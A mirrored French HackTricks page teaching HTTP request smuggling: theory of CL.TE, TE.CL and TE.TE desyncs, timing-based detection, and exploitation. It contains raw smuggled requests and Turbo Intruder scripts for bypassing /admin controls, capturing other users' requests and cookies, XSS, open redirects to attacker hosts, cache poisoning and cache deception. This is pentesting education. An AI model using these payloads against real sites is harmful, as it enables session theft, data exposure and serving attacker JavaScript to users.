Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator 6f5d7d8fa1 Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
2024-02-03 17:01:50 +00:00
..
browser-http-request-smuggling.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-02-03 17:01:50 +00:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:37:39 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:37:39 +00:00

README.md

HTTP Request Smuggling / Attaque de désynchronisation HTTP

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Qu'est-ce que c'est

Cette vulnérabilité se produit lorsqu'une désynchronisation entre les proxies frontaux et le serveur back-end permet à un attaquant d'envoyer une requête HTTP qui sera interprétée comme une requête unique par les proxies frontaux (équilibreur de charge/proxy inverse) et comme 2 requêtes par le serveur back-end.
Cela permet à un utilisateur de modifier la prochaine requête qui arrive au serveur back-end après la sienne.

Théorie

Spécification RFC (2161)

Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.

Content-Length

L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyée au destinataire.

Transfer-Encoding: chunked

L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.
Chunked signifie que des données volumineuses sont envoyées en une série de morceaux

Réalité

Le Front-End (un équilibreur de charge / Proxy inverse) traite l'en-tête content-length ou l'en-tête transfer-encoding et le serveur Back-end traite l'autre, provoquant une désynchronisation entre les 2 systèmes.
Cela pourrait être très critique car un attaquant pourra envoyer une requête au proxy inverse qui sera interprétée par le serveur back-end comme 2 requêtes différentes. Le danger de cette technique réside dans le fait que le serveur back-end interprétera la 2ème requête injectée comme si elle provenait du client suivant et la vraie requête de ce client fera partie de la requête injectée.

Particularités

Rappelez-vous qu'en HTTP un caractère de nouvelle ligne est composé de 2 octets :

  • Content-Length : Cet en-tête utilise un nombre décimal pour indiquer le nombre d'octets du corps de la requête. Le corps est censé se terminer au dernier caractère, une nouvelle ligne n'est pas nécessaire à la fin de la requête.
  • Transfer-Encoding : Cet en-tête utilise dans le corps un nombre hexadécimal pour indiquer le nombre d'octets du prochain morceau. Le morceau doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptée par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un morceau de taille 0 suivi de 2 nouvelles lignes : 0
  • Connection : D'après mon expérience, il est recommandé d'utiliser Connection: keep-alive sur la première requête du Smuggling de requête.

Exemples de base

Ainsi, les attaques de Smuggling de requête impliquent de placer à la fois l'en-tête Content-Length et l'en-tête Transfer-Encoding dans une seule requête HTTP et de les manipuler de manière à ce que les serveurs frontal et back-end traitent la requête différemment. La manière exacte de procéder dépend du comportement des deux serveurs :

  • CL.TE : le serveur frontal utilise l'en-tête Content-Length et le serveur back-end utilise l'en-tête Transfer-Encoding.
  • TE.CL : le serveur frontal utilise l'en-tête Transfer-Encoding et le serveur back-end utilise l'en-tête Content-Length.
  • TE.TE : les serveurs frontal et back-end prennent tous deux en charge l'en-tête Transfer-Encoding, mais l'un des serveurs peut être induit à ne pas le traiter en obscurcissant l'en-tête d'une certaine manière.

Vulnérabilités CL.TE

Ici, le serveur frontal utilise l'en-tête Content-Length et le serveur back-end utilise l'en-tête Transfer-Encoding. Nous pouvons effectuer une attaque simple de Smuggling de requête HTTP comme suit :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Notez comment Content-Length indique que la longueur du corps de la requête est de 30 octets (rappelez-vous que HTTP utilise comme nouvelle ligne, donc 2 octets pour chaque nouvelle ligne), donc le proxy inverse envoiera la requête complète au back-end, et le back-end traitera l'en-tête Transfer-Encoding en laissant GET /404 HTTP/1.1 comme le début de la prochaine requête (au fait, la prochaine requête sera ajoutée à Foo:x<Le début de la prochaine requête ici>).

Vulnérabilités TE.CL

Ici, le serveur frontal utilise l'en-tête Transfer-Encoding et le serveur back-end utilise l'en-tête Content-Length. Nous pouvons effectuer une attaque simple de Smuggling de requête HTTP comme suit :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

Dans ce cas, le reverse-proxy envoiera la requête entière au back-end comme l'indique l'Transfer-encoding. Mais, le back-end va traiter seulement les 7b (4 octets) comme indiqué dans le Content-Length. Par conséquent, la prochaine requête sera celle commençant par GET /404 HTTP/1.1

Notez que même si l'attaque doit se terminer par un 0, la requête suivante sera ajoutée comme valeurs supplémentaires du paramètre x.
Notez également que le Content-Length de la requête intégrée indiquera la longueur de la prochaine requête qui sera ajoutée au paramètre x. Si elle est trop petite, seuls quelques octets seront ajoutés, et si elle est trop grande (plus grande que la longueur de la prochaine requête) une erreur sera générée pour la prochaine requête.

Vulnérabilités TE.TE

Ici, les serveurs frontal et back-end prennent tous deux en charge l'en-tête Transfer-Encoding, mais l'un des serveurs peut être induit à ne pas le traiter en obscurcissant l'en-tête d'une certaine manière.
Il existe potentiellement une infinité de façons d'obscurcir l'en-tête Transfer-Encoding. Par exemple :

Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked

Selon le serveur (reverse-proxy ou back-end) qui arrête de traiter l'en-tête TE, vous trouverez une vulnérabilité CL.TE ou TE.CL.

Trouver le Smuggling de requête HTTP

Trouver des vulnérabilités CL.TE en utilisant des techniques de temporisation

Si une application est vulnérable à la variante CL.TE du Smuggling de requête, alors l'envoi d'une requête comme la suivante provoquera souvent un délai :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Étant donné que le serveur frontal utilise l'en-tête Content-Length, il ne transmettra qu'une partie de cette requête, omettant le 0. Le serveur back-end utilise l'en-tête Transfer-Encoding, traite le premier bloc, puis attend l'arrivée du bloc suivant. Cela provoquera un délai d'attente observable.

Parfois, au lieu d'obtenir un délai d'expiration, vous recevez une mauvaise requête 400 de l'hôte final comme dans le scénario suivant, où une charge utile CL.TE est envoyée :

Et la réponse est une redirection contenant une erreur dans le corps avec même la version du haproxy utilisé :

Trouver des vulnérabilités TE.CL en utilisant des techniques de temporisation

Si une application est vulnérable à la variante TE.CL de l'encapsulation de requêtes, alors l'envoi d'une requête comme la suivante provoquera souvent un délai d'attente :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Sonder les vulnérabilités de contrebande de requêtes HTTP

Une fois que vous avez constaté que les techniques de chronométrage fonctionnent, vous devez sonder si vous pouvez modifier les requêtes d'autres clients.
La manière la plus simple de faire cela est d'essayer d'empoisonner vos propres requêtes, faire en sorte qu'une requête pour / renvoie un 404 par exemple.
Dans les Exemples de base, nous avons déjà vu des exemples de CL.TE et TE.CL sur la manière d'empoisonner une requête client pour demander /404 provoquant une réponse 404 lorsque le client demandait une autre ressource.

Notes

Certaines considérations importantes doivent être prises en compte lors de la tentative de confirmation des vulnérabilités de contrebande de requêtes via l'interférence avec d'autres requêtes :

  • La requête "d'attaque" et la requête "normale" doivent être envoyées au serveur en utilisant des connexions réseau différentes. Envoyer les deux requêtes à travers la même connexion ne prouvera pas que la vulnérabilité existe.
  • La requête "d'attaque" et la requête "normale" doivent utiliser la même URL et les mêmes noms de paramètres, autant que possible. Cela est dû au fait que de nombreuses applications modernes acheminent les requêtes du front-end vers différents serveurs back-end en fonction de l'URL et des paramètres. Utiliser la même URL et les mêmes paramètres augmente la chance que les requêtes soient traitées par le même serveur back-end, ce qui est essentiel pour que l'attaque fonctionne.
  • Lors du test de la requête "normale" pour détecter toute interférence de la requête "d'attaque", vous êtes en compétition avec toutes les autres requêtes que l'application reçoit en même temps, y compris celles d'autres utilisateurs. Vous devriez envoyer la requête "normale" immédiatement après la requête "d'attaque". Si l'application est occupée, vous pourriez avoir besoin de réaliser plusieurs tentatives pour confirmer la vulnérabilité.
  • Dans certaines applications, le serveur front-end fonctionne comme un équilibreur de charge et achemine les requêtes vers différents systèmes back-end selon un algorithme d'équilibrage de charge. Si vos requêtes "d'attaque" et "normale" sont acheminées vers différents systèmes back-end, alors l'attaque échouera. C'est une raison supplémentaire pour laquelle vous pourriez avoir besoin d'essayer plusieurs fois avant qu'une vulnérabilité puisse être confirmée.
  • Si votre attaque réussit à interférer avec une requête subséquente, mais que ce n'était pas la requête "normale" que vous avez envoyée pour détecter l'interférence, cela signifie qu'un autre utilisateur de l'application a été affecté par votre attaque. Si vous continuez à effectuer le test, cela pourrait avoir un effet perturbateur sur les autres utilisateurs, et vous devriez faire preuve de prudence.

Forcer via les en-têtes hop-by-hop

En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de supprimer l'en-tête Content-Length ou Transfer-Encoding afin qu'une contrebande de requête HTTP soit possible à exploiter.

Connection: Content-Length

Pour plus d'informations sur les en-têtes de saut par saut, visitez :

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Abuser de l'HTTP Request Smuggling

Pour contourner les contrôles de sécurité frontaux

Parfois, les proxies frontaux effectuent certains contrôles de sécurité. Vous pouvez les éviter en abusant de l'HTTP Request Smuggling car vous serez capable de contourner les protections. Par exemple, dans cet exemple, vous ne pouvez pas accéder à /admin de l'extérieur et le proxy frontal vérifie cela, mais ce proxy ne vérifie pas la requête intégrée :

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

Révéler la réécriture des requêtes frontales

Dans de nombreuses applications, le serveur frontal effectue une réécriture des requêtes avant de les transmettre au serveur backend, généralement en ajoutant des en-têtes de requête supplémentaires.
Une chose courante à faire est d'ajouter à la requête l'en-tête X-Forwarded-For: <IP du client> ou un en-tête similaire pour que le backend connaisse l'IP du client.
Parfois, si vous pouvez trouver quelles nouvelles valeurs sont ajoutées à la requête, vous pourriez être capable de contourner les protections et accéder à des informations/endpoints cachés.

Pour découvrir comment le proxy réécrit la requête, vous devez trouver un paramètre POST que le backend reflétera dans sa valeur sur la réponse. Ensuite, utilisez ce paramètre en dernier et utilisez une exploitation comme celle-ci :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

Dans ce cas, la requête suivante sera ajoutée après search=, qui est aussi le paramètre dont la valeur sera reflétée sur la réponse, donc elle va refléter les en-têtes de la requête suivante.

Notez que seule la longueur indiquée dans l'en-tête Content-Length de la requête intégrée sera reflétée. Si vous utilisez un petit nombre, seuls quelques octets seront reflétés, si vous utilisez un nombre plus grand que la longueur de tous les en-têtes, alors la requête intégrée générera une erreur. Ensuite, vous devriez commencer avec un petit nombre et augmenter jusqu'à ce que vous voyiez tout ce que vous vouliez voir.
Notez également que cette technique est également exploitable avec une vulnérabilité TE.CL mais la requête doit se terminer par search=\r\n0. Cependant, indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.

Enfin, notez que dans cette attaque, nous attaquons toujours nous-mêmes pour apprendre comment le proxy frontal réécrit la requête.

Capturer les requêtes d'autres utilisateurs

Si vous trouvez une requête POST qui va enregistrer le contenu de l'un des paramètres, vous pouvez ajouter la requête suivante comme valeur de ce paramètre afin de stocker la requête du prochain client :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

Dans ce cas, la valeur du paramètre commentaire sera enregistrée dans un commentaire d'un post sur la page qui est publiquement accessible, donc un commentaire apparaîtra avec le contenu de la requête suivante.

Une limitation avec cette technique est qu'elle ne capturera généralement que les données jusqu'au délimiteur de paramètre applicable pour la requête introduite. Pour les soumissions de formulaires encodés en URL, ce sera le caractère &, ce qui signifie que le contenu stocké de la requête de l'utilisateur victime se terminera au premier &, qui pourrait même apparaître dans la chaîne de requête.

Notez également que cette technique est également exploitable avec une vulnérabilité TE.CL mais la requête doit se terminer par search=\r\n0. Cependant, indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.

Utiliser l'HTTP Request Smuggling pour exploiter le XSS réfléchi

Si la page Web est également vulnérable au XSS réfléchi, vous pouvez abuser de l'HTTP Request Smuggling pour attaquer les clients du Web. L'exploitation du XSS réfléchi à partir de l'HTTP Request Smuggling présente certains avantages :

  • Aucune interaction avec les utilisateurs victimes n'est requise
  • Il peut être utilisé pour exploiter un comportement XSS dans des parties de la requête qui ne peuvent pas être contrôlées trivialement dans une attaque XSS réfléchie normale, telles que les en-têtes de requête HTTP.

Si un site Web est vulnérable au XSS réfléchi sur l'en-tête User-Agent, vous pouvez utiliser ce payload pour l'exploiter :

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=

Utiliser l'HTTP Request Smuggling pour transformer une redirection sur site en une redirection ouverte

De nombreuses applications effectuent des redirections sur site d'une URL à une autre et placent le nom d'hôte de l'en-tête Host de la requête dans l'URL de redirection. Un exemple de ce comportement est le comportement par défaut des serveurs Web Apache et IIS, où une demande pour un dossier sans barre oblique finale reçoit une redirection vers le même dossier incluant la barre oblique finale :

GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Ce comportement est normalement considéré comme inoffensif, mais il peut être exploité dans une attaque de smuggling de requête pour rediriger d'autres utilisateurs vers un domaine externe. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

La requête introduite déclenchera une redirection vers le site Web de l'attaquant, ce qui affectera la requête du prochain utilisateur traitée par le serveur backend. Par exemple :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Ici, la requête de l'utilisateur était pour un fichier JavaScript qui était importé par une page sur le site Web. L'attaquant peut compromettre complètement l'utilisateur victime en retournant leur propre JavaScript dans la réponse.

Utiliser l'HTTP Request Smuggling pour effectuer un empoisonnement de cache Web

Si une partie de l'infrastructure frontale effectue la mise en cache du contenu (généralement pour des raisons de performance), il pourrait être possible d'empoisonner ce cache en modifiant la réponse du serveur.

Nous avons déjà vu comment modifier la valeur de retour attendue du serveur en une erreur 404 (dans les Exemples de base), de manière similaire, vous pourriez faire en sorte que le serveur retourne le contenu de /index.html lorsque la requête empoisonnée demande /static/include.js. De cette façon, le contenu de /static/include.js sera mis en cache avec le contenu de /index.html, rendant /static/include.js inaccessible aux clients (DoS ?).

Remarquez que c'est encore plus intéressant si vous trouvez une Redirection Ouverte ou une redirection sur site vers une redirection ouverte (dernière section). Parce que, vous pourriez être capable de changer les valeurs du cache de /static/include.js avec celles d'un script contrôlé par vous (faisant un XSS général à tous les clients qui essaient de télécharger la nouvelle version de /static/include.js).

Dans cet exemple, il va être montré comment vous pouvez exploiter un empoisonnement de cache + redirection sur site vers une redirection ouverte pour modifier le contenu du cache de /static/include.js pour servir du code JS contrôlé par l'attaquant :

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1

Notez comment la requête intégrée demande /post/next?postId=3 Cette requête va être redirigée vers /post?postId=4 et utilisera la valeur de l'en-tête Host pour indiquer le domaine. Par conséquent, vous pouvez modifier l'en-tête Host pour pointer le serveur de l'attaquant et la redirection utilisera ce domaine (redirection sur site vers une redirection ouverte).

Ensuite, après avoir empoisonné le socket, vous devez envoyer une requête GET à /static/include.js cette requête sera empoisonnée par la requête de redirection sur site vers une redirection ouverte et saisira le contenu du script contrôlé par l'attaquant.

La prochaine fois que quelqu'un demandera /static/include.js, le contenu mis en cache du script de l'attaquant sera servi (XSS général).

Utiliser l'HTTP Request Smuggling pour effectuer une déception de cache Web

Quelle est la différence entre l'empoisonnement de cache Web et la déception de cache Web ?

  • Dans l'empoisonnement de cache Web, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application.
  • Dans la déception de cache Web, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu à partir du cache.

Dans cette variante, l'attaquant introduit une requête qui retourne un contenu sensible spécifique à l'utilisateur. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X

Si l'empoisonnement atteint un client qui accédait à un contenu statique comme /someimage.png qui allait être mis en cache. Le contenu de /private/messages de la victime sera mis en cache dans /someimage.png et l'attaquant pourra les voler.
Notez que l'attaquant ne sait pas quel contenu statique la victime essayait d'accéder donc probablement la meilleure façon de tester cela est de réaliser l'attaque, attendre quelques secondes et charger tout le contenu statique et rechercher les données privées.

Armer l'HTTP Request Smuggling avec la désynchronisation de la réponse HTTP

Avez-vous trouvé une vulnérabilité d'HTTP Request Smuggling et vous ne savez pas comment l'exploiter. Essayez ces autres méthodes d'exploitation :

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts Turbo intruder

CL.TE

Depuis https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De : https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Plus d'informations

Image d'ici.

Outils

Références

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert) !

Autres moyens de soutenir HackTricks :